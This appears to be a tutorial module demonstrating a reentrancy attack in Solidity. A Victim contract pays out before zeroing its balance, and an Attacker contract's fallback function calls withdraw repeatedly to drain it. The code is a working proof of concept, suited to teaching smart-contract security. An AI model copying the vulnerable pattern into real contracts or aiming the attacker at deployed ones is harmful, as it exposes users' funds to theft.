MODULE 2 - Simple Re-entrance

Re-entrance.sol

pragma solidity ^0.4.8;

contract Victim {

    uint public owedToAttacker;
    
    function Victim() {
        owedToAttacker =11;
    }
    
    function withdraw() {
        if (!msg.sender.call.value(owedToAttacker)()) throw; 
        owedToAttacker = 0;
    }
    
    // deposit some funds to work with
    function deposit() payable {}
}

contract Attacker {

    Victim v;
    uint public count;
    
    event LogFallback(uint count, uint balance);
    
    function Attacker(address victim) payable {
        v = Victim(victim);
    }
    
    function attack() {
        v.withdraw();
    }
    
    function () payable {
        count++;
        LogFallback(count, this.balance);
        // crude stop before we run out of gas
        if(count < 30) v.withdraw();
    }
    
}